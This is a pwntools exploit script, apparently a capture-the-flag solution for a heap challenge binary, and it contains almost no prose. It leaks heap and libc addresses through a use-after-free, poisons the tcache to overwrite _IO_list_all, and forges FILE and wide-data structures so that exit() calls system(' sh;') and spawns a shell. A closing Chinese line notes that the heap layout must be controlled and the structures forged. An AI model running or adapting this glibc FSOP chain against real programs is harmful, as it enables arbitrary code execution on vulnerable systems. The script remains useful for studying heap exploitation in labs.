EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
# -*- coding: utf-8 -*-
from pwn import *
from pwn import p64,p32,u64,u32
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('10.213.13.228', 21199)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc.so.6')
def add(index,size,data):
rl(b">>> ")
sl(b'1')
rl(b"please input chunk_idx: ")
sl(str(index))
rl(b"Enter chunk size: ")
sl(str(size))
rl(b"Enter chunk data: ")
s(data)
def show(index):
rl(b">>> ")
sl(b'3')
rl(b"Enter chunk id: ")
sl(str(index))
def delete(index):
rl(b">>> ")
sl(b'2')
rl(b"Enter chunk id: ")
sl(str(index))
def exit():
rl(b">>> ")
sl(b'4')

# gdb.attach(p,'b _IO_cleanup')
add(0,0x10,'a')
delete(0)
add(1,0x10,p64(0x30)+p64(1))
show(0)
rl(b'\x01\x00\x00\x00\x00\x00\x00\x00')
heap_leak = uu32()
heap_key = heap_leak >> 12
lg("heap_key",heap_key)
heap_base = heap_key << 12
lg("heap_base",heap_base)

add(2,0x10,'a')
for i in range(8):
add(i+3,0x80,'a')
add(11,0x10,'a')
for i in range(8):
delete(i+3)
for i in range(4):
add(i,0x10,'a')
delete(11)
add(5,0x18,p64(0x10)+p64(1)+p64(heap_base+0x810))
show(11)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak - 0x21ace0
lg("libc_base",libc_base)
IO_list_all = libc_base + libc.sym['_IO_list_all']
lg("IO_list_all",IO_list_all)
stderr = libc_base + libc.sym['_IO_2_1_stderr_']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
lg("stderr",stderr)
IO_jump_t = libc_base + 0x2170c0
for i in range(9):
add(i,0x40,'a')
add(9,0x10,'aa')
delete(9)
add(10,0x18,p64(0x30)+p64(1)+p64(heap_base+0xb80))
for i in range(9):
delete(i)

delete(9)
for i in range(7):
add(i,0x40,'a')
for i in range(3):
add(i,0x30,'a')

fake_file = b' sh;\x00\x00\x00'
fake_file += p64(0)*4 + p64(1)
fake_file = fake_file.ljust(0x68,b'\x00')
fake_file += p64(stdout)
fake_file = fake_file.ljust(0x80,b'\x00')
fake_file = bytes(fake_file)

fake_wide = p64(0)*4
fake_wide += p64(0)*3
fake_wide += p64(0) + p64(0)*20 + p64(heap_base+0x9a0)
fake_wide += p64(0)*14+p64(libc_base+libc.sym['system'])

fake_wide2 = p64(0)*6 + p64(heap_base+0x730) + p64(libc_base+libc.sym['system'])
add(0,0x80,fake_wide2)

add(1,0x80,p64(0)*5+p64(IO_jump_t)+p64(0)*10)
add(2,0x80,fake_file)

add(3,0x40,p64(IO_list_all^heap_key))
add(4,0x40,'a')
add(5,0x40,'a')
add(6,0x40,p64(heap_base+0x600))
exit()

inter()

合理控制堆风水,伪造对应位置即可。